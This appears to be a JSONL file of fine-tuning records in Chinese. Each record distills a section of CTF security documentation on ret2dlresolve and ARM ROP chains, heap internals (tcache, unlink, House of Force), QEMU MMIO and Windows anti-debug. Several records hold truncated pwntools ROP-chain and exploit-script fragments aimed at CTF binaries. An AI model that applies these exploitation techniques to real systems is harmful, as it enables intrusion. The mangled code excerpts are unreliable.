{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f794a84ccc8ebbcec6bc", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location”展开。\n- rop = ROP(\"./main_partial_relro_64\") offset = 112+8 rop.raw(offset'a') resolve_data, resolve_call = ret2dlresolve_x64(elf, store_addr, \"system\",elf.got[\"write\"]) rop.raw(csu(0, 1 ,elf.got['read'],0,store_addr,len(resolve_data)+len(sh))) rop.raw(vuln_addr) r...\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 343, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location", "heading_path": ["construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location"], "original_id": "docs-b0b605017233f041996f", "original_line": 1359, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "5610eb9dcb14c3bd04926a1c", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f7f481fa980c16d37e5e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/qemu/basic-knowledge/dev.md` 中的章节「MMIO」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/qemu/basic-knowledge/dev.md`\n标题：QEMU 设备模拟\n章节：QEMU 设备模拟 > QEMU 设备 IO 处理 > MMIO\n路径分类：pwn / pwn/virtualization/qemu\n分块：1/1\n\n核心知识点：\n- 对于 MMIO 而言会调用到 address_space_rw() 函数，该函数会先将全局地址空间 address_space_memory 展开成 FlatView 后再调用对应的函数进行读写操作。\n- > softmmu/physmem.c ``c MemTxResult address_space_read_full(AddressSpace as, hwaddr addr, MemTxAttrs attrs, void buf, hwaddr len) { MemTxResult result = MEMTX_OK;\n- result = flatview_read(fv, addr, attrs, buf, len);\n- } MemTxResult address_space_write(AddressSpace as, hwaddr addr, MemTxAttrs attrs, const void buf, hwaddr len) { MemTxResult result = MEMTX_OK;\n- result = flatview_write(fv, addr, attrs, buf, len);\n- } MemTxResult address_space_rw(AddressSpace as, hwaddr addr, MemTxAttrs attrs, void buf, hwaddr len, bool is_write) { if (is_write) { return address_space_write(as, addr, attrs, buf, len);\n\n关键术语：\n- pwn\n- virtualization\n- qemu\n- basic-knowledge\n- code:c\n\n代码/命令片段线索：\n- c: 34 行，首行 `MemTxResult address_space_read_full(AddressSpace *as, hwaddr addr,`\n- c: 30 行，首行 `/* Called from RCU critical section. */`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2020, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "MMIO", "heading_path": ["QEMU 设备模拟", "QEMU 设备 IO 处理", "MMIO"], "original_id": "docs-98cdb9f53ed839128a82", "original_line": 1421, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/basic-knowledge/dev.md", "source_root": "docs", "source_sha256": "41590b7d3b5bf28fb92791006d4d4424426415991f7ae4cd6f8fc7e877f50dd1", "split": "train", "split_group_key": "37d354fcfda855efb694fb34", "subcategory": "pwn/virtualization/qemu", "terms": ["pwn", "virtualization", "qemu", "basic-knowledge", "code:c"], "title": "QEMU 设备模拟"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/basic-knowledge/dev.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f82712244856bde72884", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/arm/rop.md` 中的章节「构造 ROP」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/arm/rop.md`\n标题：Arm ROP\n章节：Arm ROP > jarvisoj - typo > 构造 ROP\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“构造 ROP”展开。\n- } `` > 或者可以通过搜索 /bin/sh 字符串来寻找 system 函数\n- 虽然 rizzo 在这个 binary 上恢复的效果不好，但很幸运，在识别出来的几个函数中刚好有 system `C char __fastcall system(int a1) { char result;\n- else result = (char *)(sub_10BA8((int)\"exit 0\") == 0);\n- Program received signal SIGSEGV, Segmentation fault.\n- // r0 if ( a1 ) result = sub_10BA8(a1);\n\n关键术语：\n- 边界/溢出\n- 堆\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:bash\n- code:assembly\n- code:c\n\n代码/命令片段线索：\n- bash: 17 行，首行 `jarvisOJ_typo [master●●] ROPgadget --binary ./typo --only \"pop\"`\n- plain: 14 行，首行 `+-------------+`\n- bash: 4 行，首行 `jarvisOJ_typo [master●●] ROPgadget --binary ./typo --string /bin/sh`\n- assembly: 37 行，首行 `pwndbg> cyclic 200`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 3114, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "构造 ROP", "heading_path": ["Arm ROP", "jarvisoj - typo", "构造 ROP"], "original_id": "docs-a736427c3ca61752de84", "original_line": 1233, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/arm/rop.md", "source_root": "docs", "source_sha256": "088cfa4d64c56e227fcc369cb08e6f09f032eed8a0871712fd40a0da93312718", "split": "train", "split_group_key": "276d0e8938a1e8567ae0ba8c", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow", "code:bash", "code:assembly", "code:c"], "title": "Arm ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/arm/rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f875bebd8940406959ff", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/environment/qemu-emulate.md` 中的章节「参考」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/environment/qemu-emulate.md`\n标题：搭建内核运行环境\n章节：cat /sys/module/a3kmod/sections/.data > 参考\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“参考”展开。\n- https://arttnba3.cn/2021/02/21/OS-0X01-LINUX-KERNEL-PART-II/ - https://arttnba3.cn/2022/07/15/VIRTUALIZATION-0X00-QEMU-PART-I/ - https://www.ibm.com/developerworks/cn/linux/l-busybox/index.html - https://qemu.readthedocs.io/en/latest/system/qemu-manpage.htm...\n\n关键术语：\n- pwn\n- linux\n- kernel-mode\n- environment\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 314, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "参考", "heading_path": ["cat /sys/module/a3kmod/sections/.data", "参考"], "original_id": "docs-0d05a62e87d75d7041ce", "original_line": 715, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/qemu-emulate.md", "source_root": "docs", "source_sha256": "2fa691a5b11d1005a314edb20f4c495317ae5eae73c85043729f5edb33b5ef31", "split": "train", "split_group_key": "dd1c9d3befaa1a62d124ca3d", "subcategory": "pwn/linux/kernel-mode", "terms": ["pwn", "linux", "kernel-mode", "environment"], "title": "搭建内核运行环境"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/qemu-emulate.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f89435bdb9fc67c565f2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「modify .dynstr pointer in .dynamic section to a specific location」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：modify .dynstr pointer in .dynamic section to a specific location\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“modify .dynstr pointer in .dynamic section to a specific location”展开。\n- rop = ROP(\"./main_no_relro_64\") offset = 112+8 rop.raw(offset'a') rop.raw(csu(0, 1 ,elf.got['read'],0,0x600988+8,8)) rop.raw(0x400607) rop.raw(\"a\"(256-len(rop.chain()))) print(rop.dump()) print(len(rop.chain())) assert(len(rop.chain())<=256) rop.raw(\"a\"*(25...\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 329, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "modify .dynstr pointer in .dynamic section to a specific location", "heading_path": ["modify .dynstr pointer in .dynamic section to a specific location"], "original_id": "docs-ae6b9cdb80967e135d76", "original_line": 1346, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "9fd94277538bea1743ebfb4e", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f8971368f3546979e8df", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md` 中的章节「利用程序」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md`\n标题：花式栈溢出技巧\n章节：DEBUG(\"b *0x4006B9\\nc\") > Stack smash > 32C3 CTF readme > 利用程序\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“利用程序”展开。\n- ') sh.sendline(payload) sh.recvuntil('flag: ') sh.sendline('bb') data = sh.recv() sh.interactive() `` 这里我们直接就得到了 flag，没有出现网上说的得不到 flag 的情况。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:python\n\n代码/命令片段线索：\n- python: 18 行，首行 `from pwn import *`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 518, "chunk_count": 1, "chunk_index": 0, "ctf_score": 32, "ctf_task_type": "pwn", "heading": "利用程序", "heading_path": ["DEBUG(\"b *0x4006B9\\nc\")", "Stack smash", "32C3 CTF readme", "利用程序"], "original_id": "docs-be0a5589757f888b83a9", "original_line": 1269, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "source_root": "docs", "source_sha256": "0b7df13e54f705c9de45a0f19d62105001f5f8907741819d44afc12bc54434d7", "split": "train", "split_group_key": "38e37119aad33699e943bbf4", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow", "code:python"], "title": "花式栈溢出技巧"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f89da0af22735b83cce8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heap-overview.md` 中的章节「malloc」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heap-overview.md`\n标题：堆概述\n章节：堆概述 > 堆的基本操作 > malloc\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 在 glibc 的malloc.c中，malloc 的说明如下 ``c++ / malloc(size_t n) Returns a pointer to a newly allocated chunk of at least n bytes, or null if no space is available.\n- Additionally, on failure, errno is set to ENOMEM on ANSI C systems.\n- 此外，该函数还对一些异常情况进行了处理 - 当 n=0 时，返回当前系统允许的堆的最小内存块。\n- If n is zero, malloc returns a minumum-sized chunk. (The minimum size is 16 bytes on most 32bit systems, and 24 or 32 bytes on 64bit systems.) On most systems, size_t is an unsigned type, so calls with negative arguments are interpreted as requests for huge...\n- The maximum supported value of n differs across systems, but is in all cases less than the maximum representable value of a size_t. / `` 可以看出，malloc 函数返回对应大小字节的内存块的指针。\n- 当 n 为负数时，由于在大多数系统上，size_t 是无符号数（这一点非常重要），所以程序就会申请很大的内存空间，但通常来说都会失败，因为系统没有那么多的内存可以分配。\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n- code:c++\n\n代码/命令片段线索：\n- c++: 13 行，首行 `/*`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 916, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "malloc", "heading_path": ["堆概述", "堆的基本操作", "malloc"], "original_id": "docs-3af04386b6fb3c47cfd0", "original_line": 942, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-overview.md", "source_root": "docs", "source_sha256": "c5b7b2772fccb400c1608947df02ea8ba5de03c3aabfe029fcff194c119d8375", "split": "train", "split_group_key": "8d0475400fa1c2d96c3df248", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "heap", "code:c++"], "title": "堆概述"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-overview.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f9073d9f6fcf6186260b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/anti-debug/the-heap.md` 中的章节「堆指针未知」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/anti-debug/the-heap.md`\n标题：The Heap\n章节：The Heap > 堆指针未知\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“堆指针未知”展开。\n- 如果无法得知堆指针, 我们可以使用kernel32的HeapWalk()函数或ntdll的RtlWalkHeap()函数(或甚至是kernel32的GetCommandLine()函数). 返回的堆大小的值会被自动解密, 因此就不需要再关心windows的版本 可以使用以下32位代码来检测32位环境: `` asm mov ebx, offset l2 ;\n- sizeof(PROCESS_HEAP_ENTRY) ` 或使用以下64位代码检测64位环境: ` asm mov rbx, offset l2 ;\n- sizeof(PROCESS_HEAP_ENTRY) `` 这里没有使用32位代码检测64位环境的样例, 因为64位的堆无法由32位的堆函数解析.\n- get a pointer to a heap block l1: push ebx mov eax, fs:[30h] ;\n- save process heap base call HeapWalk cmp w [ebx+0ah], 4 ;\n\n关键术语：\n- 堆\n- reverse\n- platform\n- windows\n- anti-debug\n\n代码/命令片段线索：\n- plain: 1 行，首行 `或使用以下64位代码检测64位环境:`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 1073, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "堆指针未知", "heading_path": ["The Heap", "堆指针未知"], "original_id": "docs-b41c3c9ebc07f3e11ba6", "original_line": 1533, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/the-heap.md", "source_root": "docs", "source_sha256": "e3df90c62bb57b1c46579cc752d8869c98cee6102d68c64a3e4d28f1e2c098f5", "split": "train", "split_group_key": "c104ce5021009ddcbbad899b", "subcategory": "reverse/platform/windows", "terms": ["堆", "reverse", "platform", "windows", "anti-debug"], "title": "The Heap"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/the-heap.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f908f6bda1aed9732a95", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`\n标题：Unlink\n章节：Unlink > 原理\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- 我们在利用 unlink 所造成的漏洞时，其实就是对 chunk 进行内存布局，然后借助 unlink 操作来达成修改指针的效果。\n- 其基本的过程如下 [图片文件: ./implementation/figure/unlink_smallbin_intro.png] 下面我们首先介绍一下 unlink 最初没有防护时的利用方法，然后介绍目前利用 unlink 的方式。\n- 我们先来简单回顾一下 unlink 的目的与过程，其目的是把一个双向链表中的空闲块拿出来（例如 free 时和目前物理相邻的 free chunk 进行合并）。\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 267, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "原理", "heading_path": ["Unlink", "原理"], "original_id": "docs-5bd1daaca08f673e98c2", "original_line": 55, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "source_root": "docs", "source_sha256": "c6a924469168a8cbe0822d2807b6d6c4037af2ee0bd17384b59dcb6fdb0c90ee", "split": "train", "split_group_key": "0890517121c009b38122b10a", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "Unlink"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f91ea41c1b3fcb677711", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md` 中的章节「基本信息」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md`\n标题：House Of Force\n章节：top chunk's offset to heap base > 2016 BCTF bcloud > 基本信息\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本信息”展开。\n- ``shell ➜ 2016_bctf_bcloud git:(master) file bcloud bcloud: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=96a3843007b1e982e7fa82fbd2e1f2cc598ee04e, stripped...\n- 可以看出，这是一个动态链接的 32 位程序，主要开启了 Canary 保护与 NX 保护。\n\n关键术语：\n- 堆\n- 栈\n- pwn\n- linux\n- user-mode\n- heap\n- code:shell\n\n代码/命令片段线索：\n- shell: 9 行，首行 `➜ 2016_bctf_bcloud git:(master) file bcloud`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 552, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "基本信息", "heading_path": ["top chunk's offset to heap base", "2016 BCTF bcloud", "基本信息"], "original_id": "docs-de11e97c44a955a3efe1", "original_line": 985, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md", "source_root": "docs", "source_sha256": "27e5d508f1506ce1b54b9cd5ee0beed81d03242b5dc58c99c27d5a4a84d6cfa9", "split": "train", "split_group_key": "f0948d84765034a21a73d42a", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "pwn", "linux", "user-mode", "heap", "code:shell"], "title": "House Of Force"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f95023b90f59caf2d45b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md` 中的章节「申请内存」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md`\n标题：tcache\n章节：define TCACHE_MAX_BINS 64 > 源码分析 > 申请内存\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“申请内存”展开。\n- #endif // 进入与无 tcache 时类似的流程 if (SINGLE_THREAD_P) { victim = _int_malloc (&main_arena, bytes);\n- victim || chunk_is_mmapped (mem2chunk (victim)) || &main_arena == arena_for_chunk (mem2chunk (victim)));\n- 接下来将进入申请内存的步骤 ``C // 从 tcache list 中获取内存 if (tc_idx < mp_.tcache_bins // 由 size 计算的 idx 在合法范围内 /&& tc_idx < TCACHE_MAX_BINS/ / to appease gcc / && tcache && tcache->entries[tc_idx] !\n- 这里也可以看出 tcache 的优先级很高，比 fastbin 还要高（ fastbin 的申请在没进入 tcache 的流程中）。\n- = NULL) // 该条 tcache 链不为空 { return tcache_get (tc_idx);\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- C: 18 行，首行 `// 从 tcache list 中获取内存`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 684, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "申请内存", "heading_path": ["define TCACHE_MAX_BINS 64", "源码分析", "申请内存"], "original_id": "docs-3c8baab6bbb17faad349", "original_line": 1185, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md", "source_root": "docs", "source_sha256": "4de68a9fa4b9401f8336e24b35eadac2ba7ac5f85ff862f309421b9ce8c82db8", "split": "train", "split_group_key": "fcb453025c9d018f1fd1b020", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "tcache"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md", "split": "train", "type": "ctf_lora_sft"}
